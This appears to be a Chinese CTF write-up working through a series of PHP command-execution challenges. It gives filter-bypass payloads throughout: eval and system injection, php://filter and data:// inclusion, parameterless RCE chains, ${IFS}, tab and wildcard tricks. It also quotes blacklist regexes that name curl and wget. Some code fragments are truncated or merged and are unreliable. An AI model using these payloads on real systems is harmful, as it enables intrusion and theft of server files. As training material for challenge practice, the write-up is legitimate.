这一篇的草稿已经存了一段时间了,一方面觉得更新也没什么人看了,圈内已经有众多大佬的博客了,很多题目的hint里面也有题解,另一方面总感觉还没有写完,想等写完再发,后来复现的时候感觉题目也挺多的,慢慢更吧
写到这里就当是给自己看的了
如果没有匹配到flag就执行$c
先传一个?c=system(‘ls’); 回显两个文件flag.php index.php
那就是要读flag.php了,方法太多了,这里用这个就行
?c=system('cat *');
多了一点过滤,盲猜还是要看flag.php
把system过滤掉了可以用反引号替换
?c=echo `cat *`;
命令执行里的空格可以用%09绕过
?c=echo(`nl%09*`);
或者
passthru("more%09f*");
把反引号和echo和括号都禁了,还可以用include,注意不要留空格(include函数不需要空格也可以包含文件)
/?c=include$_POST["a"]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php
emmmm,禁了双引号,那干脆不用了
/?c=include$_POST[a]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php
考查文件包含,但是不能有flag字符,方法有很多,这里列举利用data协议命令执行和base64加密的文件包含
?c=data:text/plain,
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
增加了对于php和file字符的过滤,试了一下短标签绕过php,没有用,那就用上面的base64编码吧
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
include自带.php后缀,还是不影响我们使用data协议,hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
?c=data:text/plain,
<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了大量的符号和数字,一开始没有思路,直到后来发现,过滤掉的括号是中文的…,仔细比较就能发现不一样
( 中文
( 英文
然后就可以无参数RCE,这是之前做的一些笔记
#经典讲解
https://www.freebuf.com/articles/system/242482.html
例题:
如果code匹配过后只剩下一个 ; 则执行代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
'/[^\W]+\((?R)?\)/' /w表示匹配字母,数字和下划线,等价于[A-Za-z0-9_]
((?R)? 表示递归匹配,
最终只有a(b(c()));这样的命令可以使用
所以我们需要无参数的rce 基于php强大的函数
一般来说,print_r(scandir('.'));可以用来查看当前目录所有文件名
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)
current()返回数组中的单元,默认取第一个值:
print_r(scandir(current(localeconv()))); 成功打印出当前目录下文件
或者使用print_r(scandir(pos(localeconv())));,pos是current的别名
phpversion()
phpversion()返回PHP版本,如5.5.9
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
而chr(46)='.'
若flag.php为最后一个文件,则
show_source(end(scandir(getcwd()))); getcwd()获取当前目录绝对路径
或show_source(current(array_reverse(scandir(getcwd())))); 将数组逆序后选取第一个放回
如果是倒数第二个我们可以用:
show_source(next(array_reverse(scandir(getcwd()))));
如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
所以我们可以用:
show_source(array_rand(array_flip(scandir(getcwd()))));
或者:
show_source(array_rand(array_flip(scandir(current(localeconv())))));
这里我们可以
?c=show_source(next(array_reverse(scandir(getcwd()))));
emmm,这题不友好啊,看出题人的wp吧
https://blog.csdn.net/miuzzx/article/details/108569080
/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这题把输出都重定向到了null里,就是不给我们回显,但是想到了linux下的命令执行的特点,解法还是挺多的
?c=cat flag.php%0a
?c=cat flag.php;
?c=cat flag.php||
增加了分号;和cat过滤,解法很多
?c=nl fla*||
?c=tac fla*||
cat的部分绕过方法
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
出处:https://www.sohu.com/a/440030737_120967809
增加flag过滤,解法同上
增加空格过滤,空格的绕过也是经典了
?c=tac%09fla*||
增加数字过滤和*过滤,但是试了一下%09还能用,应该是表示的url编码会解码,*用?替换就行了
/?c=tac%09fl??????||
增添了一些过滤,不过,上一题的wp完美避开了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
可能出题的时候没有考虑到tac命令吧,居然还是上上题的wp,恰好避开了所有过滤
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
终于对我的%09下手了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
不知道为啥问号(?)好像没有用了
?c=tac
也对tac下手了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
看前面的命令绕过可知,还有一个nl没有被禁
?c=nl
过尖括号
?c=nl${IFS}fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
感觉这里就直接执行代码了,不知道在考什么
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fl''ag.php
好家伙,nl也被禁了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\
直接到目录里面找cat命令
?c=/bin/ca?${IFS}f???????
禁用了所有小写字母,利用上题的思路,直接找/bin/base64
?c=/???/????64 ????.???
之后看了wp说是用无字母RCE
https://blog.csdn.net/qq_46091464/article/details/108557067
就这题来说的话好像不需要这么复杂,但是无字母RCE还是值得去复现一下
先更新到这里吧
持续更新